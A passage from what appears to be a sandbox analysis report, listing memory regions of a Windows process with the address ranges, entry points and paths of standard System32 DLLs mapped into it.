(normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 2989 start_va = 0x7ffa09490000 end_va = 0x7ffa0950efff monitored = 0 entry_point = 0x7ffa094a7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2990 start_va = 0x7ffa09510000 end_va = 0x7ffa0954bfff monitored = 0 entry_point = 0x7ffa09516aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 2991 start_va = 0x7ffa09c80000 end_va = 0x7ffa09c88fff monitored = 0 entry_point = 0x7ffa09c821d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 2992 start_va = 0x7ffa09c90000 end_va = 0x7ffa09cc4fff monitored = 0 entry_point = 0x7ffa09c9a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 2993 start_va = 0x7ffa0a560000 end_va = 0x7ffa0a652fff monitored = 0 entry_point = 0x7ffa0a585d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 2994 start_va = 0x7ffa0ac50000 end_va = 0x7ffa0ac59fff monitored = 0 entry_point = 0x7ffa0ac514c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2995 start_va = 0x7ffa0afc0000 end_va = 0x7ffa0afd1fff monitored = 0 entry_point = 0x7ffa0afc3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2996 start_va = 0x7ffa0b050000 end_va = 0x7ffa0b06afff monitored = 0 entry_point = 0x7ffa0b051040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2997 start_va = 0x7ffa0b300000 end_va = 0x7ffa0b314fff monitored = 0 entry_point = 0x7ffa0b302dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 2998 start_va = 0x7ffa0b320000 end_va = 0x7ffa0b32dfff monitored = 0 entry_point = 0x7ffa0b321460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2999 start_va = 0x7ffa0b330000 end_va = 0x7ffa0b33bfff monitored = 0 entry_point = 0x7ffa0b332830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 3000 start_va = 0x7ffa0b340000 end_va = 0x7ffa0b34ffff monitored = 0 entry_point = 0x7ffa0b341700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 3001 start_va = 0x7ffa0b350000 end_va = 0x7ffa0b358fff monitored = 0 entry_point = 0x7ffa0b351ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 3002 start_va = 0x7ffa0b360000 end_va = 0x7ffa0b38cfff monitored = 0 entry_point = 0x7ffa0b362290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 3003 start_va = 0x7ffa0b390000 end_va = 0x7ffa0b3e1fff monitored = 0 entry_point = 0x7ffa0b3938e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 3004 start_va = 0x7ffa0b480000 end_va = 0x7ffa0b493fff monitored = 0 entry_point = 0x7ffa0b482a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 3005 start_va = 0x7ffa0b4a0000 end_va = 0x7ffa0b4b4fff monitored = 0 entry_point = 0x7ffa0b4a3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 3006 start_va = 0x7ffa0b4c0000 end_va = 0x7ffa0b559fff monitored = 0 entry_point = 0x7ffa0b4dada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 3007 start_va = 0x7ffa0b640000 end_va = 0x7ffa0b6a6fff monitored = 0 entry_point = 0x7ffa0b6463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3008 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3009 start_va = 0x7ffa0b800000 end_va = 0x7ffa0b8bffff monitored = 0 entry_point = 0x7ffa0b82fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 3010 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3011 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3012 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3013 start_va = 0x7ffa0bbe0000 end_va = 0x7ffa0bc8dfff monitored = 0 entry_point = 0x7ffa0bbf80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 3014 start_va = 0x7ffa0bc90000 end_va = 0x7ffa0bca1fff monitored = 0 entry_point = 0x7ffa0bc99260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 3015 start_va = 0x7ffa0bcb0000 end_va = 0x7ffa0bd60fff monitored = 0 entry_point = 0x7ffa0bd288b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 3016 start_va = 0x7ffa0bd70000 end_va = 0x7ffa0bd83fff monitored = 0 entry_point = 0x7ffa0bd72d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3017 start_va = 0x7ffa0c070000 end_va = 0x7ffa0c102fff monitored = 0 entry_point = 0x7ffa0c079680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 3018 start_va = 0x7ffa0c2b0000 end_va = 0x7ffa0c2d4fff monitored = 0 entry_point = 0x7ffa0c2c2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 3019 start_va = 0x7ffa0c2e0000 end_va = 0x7ffa0c2f0fff monitored = 0 entry_point = 0x7ffa0c2e7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 3020 start_va = 0x7ffa0c300000 end_va = 0x7ffa0c318fff monitored = 0 entry_point = 0x7ffa0c304520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 3021 start_va = 0x7ffa0ca80000 end_va = 0x7ffa0ca99fff monitored = 0 entry_point = 0x7ffa0ca82cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 3022 start_va = 0x7ffa0ce40000 end_va = 0x7ffa0d1c1fff monitored = 0 entry_point = 0x7ffa0ce91220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3023 start_va = 0x7ffa0e2c0000 end_va = 0x7ffa0e3cdfff monitored = 0 entry_point = 0x7ffa0e30eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 3024 start_va = 0x7ffa0e6d0000 end_va = 0x7ffa0e724fff monitored = 0 entry_point = 0x7ffa0e6d3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 3025 start_va = 0x7ffa0e730000 end_va = 0x7ffa0e766fff monitored = 0 entry_point = 0x7ffa0e736020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 3026 start_va = 0x7ffa0e770000 end_va = 0x7ffa0e78ffff monitored = 0 entry_point = 0x7ffa0e7739a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 3027 start_va = 0x7ffa0e790000 end_va = 0x7ffa0e7a6fff monitored = 0 entry_point = 0x7ffa0e795630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 3028 start_va = 0x7ffa0e7b0000 end_va = 0x7ffa0e7c2fff monitored = 0 entry_point = 0x7ffa0e7b57f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 3029 start_va = 0x7ffa0e7d0000 end_va = 0x7ffa0e849fff monitored = 0 entry_point = 0x7ffa0e7f7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 3030 start_va = 0x7ffa0e850000 end_va = 0x7ffa0e87dfff monitored = 0 entry_point = 0x7ffa0e857550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 3031 start_va = 0x7ffa0e880000 end_va = 0x7ffa0e895fff monitored = 0 entry_point = 0x7ffa0e881b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 3032 start_va = 0x7ffa0e8a0000 end_va = 0x7ffa0e903fff monitored = 0 entry_point = 0x7ffa0e8b5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3033 start_va = 0x7ffa0ead0000 end_va = 0x7ffa0eb10fff monitored = 0 entry_point = 0x7ffa0ead4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 3034 start_va = 0x7ffa0eb20000 end_va = 0x7ffa0eb2bfff monitored = 0 entry_point = 0x7ffa0eb214d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 3035 start_va = 0x7ffa0eb30000 end_va = 0x7ffa0ec65fff monitored = 0 entry_point = 0x7ffa0eb5f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 3036 start_va = 0x7ffa0ec70000 end_va = 0x7ffa0ed55fff monitored = 0 entry_point = 0x7ffa0ec8cf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 3037 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3038 start_va = 0x7ffa0ee30000 end_va = 0x7ffa0ee90fff monitored = 0 entry_point = 0x7ffa0ee34b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 3039 start_va = 0x7ffa0eea0000 end_va = 0x7ffa0f01bfff monitored = 0 entry_point = 0x7ffa0eef1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 3040 start_va = 0x7ffa0f020000 end_va = 0x7ffa0f02afff monitored = 0 entry_point = 0x7ffa0f021770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 3041 start_va = 0x7ffa0f030000 end_va = 0x7ffa0f06dfff monitored = 0 entry_point = 0x7ffa0f03a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 3042 start_va = 0x7ffa0f070000 end_va = 0x7ffa0f096fff monitored = 0 entry_point = 0x7ffa0f073bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 3043 start_va = 0x7ffa0f0a0000 end_va = 0x7ffa0f0e9fff monitored = 0 entry_point = 0x7ffa0f0aac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 3044 start_va = 0x7ffa0f0f0000 end_va = 0x7ffa0f144fff monitored = 0 entry_point = 0x7ffa0f0ffc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 3045 start_va = 0x7ffa0f190000 end_va = 0x7ffa0f221fff monitored = 0 entry_point = 0x7ffa0f1da780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 3046 start_va = 0x7ffa0f2b0000 end_va = 0x7ffa0f2bcfff monitored = 0 entry_point = 0x7ffa0f2b1420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 3047 start_va = 0x7ffa0f2d0000 end_va = 0x7ffa0f2dffff monitored = 0 entry_point = 0x7ffa0f2d2c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 3048 start_va = 0x7ffa0f2e0000 end_va = 0x7ffa0f2ecfff monitored = 0 entry_point = 0x7ffa0f2e2ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 3049 start_va = 0x7ffa0f2f0000 end_va = 0x7ffa0f31efff monitored = 0 entry_point = 0x7ffa0f2f8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 3050 start_va = 0x7ffa0f370000 end_va = 0x7ffa0f3ddfff monitored = 0 entry_point = 0x7ffa0f377f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 3051 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 3052 start_va = 0x7ffa0f430000 end_va = 0x7ffa0f465fff monitored = 0 entry_point = 0x7ffa0f440070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3053 start_va = 0x7ffa0fc30000 end_va = 0x7ffa0fc70fff monitored = 0 entry_point = 0x7ffa0fc47eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 3054 start_va = 0x7ffa0fc80000 end_va = 0x7ffa0fd7bfff monitored = 0 entry_point = 0x7ffa0fcb6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 3055 start_va = 0x7ffa0fe10000 end_va = 0x7ffa0fecefff monitored = 0 entry_point = 0x7ffa0fe31c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3056 start_va = 0x7ffa0ff20000 end_va = 0x7ffa0ff29fff monitored = 0 entry_point = 0x7ffa0ff21660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 3057 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3058 start_va = 0x7ffa0ff50000 end_va = 0x7ffa1009cfff monitored = 0 entry_point = 0x7ffa0ff93da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 3059 start_va = 0x7ffa10cc0000 end_va = 0x7ffa11152fff monitored = 0 entry_point = 0x7ffa10ccf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 3060 start_va = 0x7ffa11160000 end_va = 0x7ffa111c6fff monitored = 0 entry_point = 0x7ffa1117e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 3061 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 3062 start_va = 0x7ffa113b0000 end_va = 0x7ffa113cbfff monitored = 0 entry_point = 0x7ffa113b37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 3063 start_va = 0x7ffa113d0000 end_va = 0x7ffa113dafff monitored = 0 entry_point = 0x7ffa113d1de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 3064 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 3065 start_va = 0x7ffa114c0000 end_va = 0x7ffa114c9fff monitored = 0 entry_point = 0x7ffa114c1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3066 start_va = 0x7ffa11540000 end_va = 0x7ffa1155efff monitored = 0 entry_point = 0x7ffa11544960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 3067 start_va = 0x7ffa11560000 end_va = 0x7ffa11577fff monitored = 0 entry_point = 0x7ffa11561b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 3068 start_va = 0x7ffa11580000 end_va = 0x7ffa115f8fff monitored = 0 entry_point = 0x7ffa1159fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3069 start_va = 0x7ffa11600000 end_va = 0x7ffa11607fff monitored = 0 entry_point = 0x7ffa116013e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 3070 start_va = 0x7ffa11640000 end_va = 0x7ffa1167ffff monitored = 0 entry_point = 0x7ffa11651960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 3071 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3072 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3073 start_va = 0x7ffa118b0000 end_va = 0x7ffa119affff monitored = 0 entry_point = 0x7ffa118f0f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 3074 start_va = 0x7ffa11a40000 end_va = 0x7ffa11a4bfff monitored = 0 entry_point = 0x7ffa11a42480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 3075 start_va = 0x7ffa11b10000 end_va = 0x7ffa11b41fff monitored = 0 entry_point = 0x7ffa11b22340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 3076 start_va = 0x7ffa11d80000 end_va = 0x7ffa11d8bfff monitored = 0 entry_point = 0x7ffa11d82790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 3077 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3078 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 3079 start_va = 0x7ffa12080000 end_va = 0x7ffa120c8fff monitored = 0 entry_point = 0x7ffa1208a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 3080 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 3081 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3082 start_va = 0x7ffa122e0000 end_va = 0x7ffa12359fff monitored = 0 entry_point = 0x7ffa12301a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 3083 start_va = 0x7ffa123a0000 end_va = 0x7ffa123d3fff monitored = 0 entry_point = 0x7ffa123bae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3084 start_va = 0x7ffa123e0000 end_va = 0x7ffa123e9fff monitored = 0 entry_point = 0x7ffa123e1830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 3085 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3086 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3087 start_va = 0x7ffa12710000 end_va = 0x7ffa12726fff monitored = 0 entry_point = 0x7ffa127179d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3088 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3089 start_va = 0x7ffa12870000 end_va = 0x7ffa12890fff monitored = 0 entry_point = 0x7ffa12880250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 3090 start_va = 0x7ffa128c0000 end_va = 0x7ffa128f9fff monitored = 0 entry_point = 0x7ffa128c8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 3091 start_va = 0x7ffa12900000 end_va = 0x7ffa12926fff monitored = 0 entry_point = 0x7ffa12910aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 3092 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3093 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3094 start_va = 0x7ffa12c00000 end_va = 0x7ffa12c18fff monitored = 0 entry_point = 0x7ffa12c05e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 3095 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: 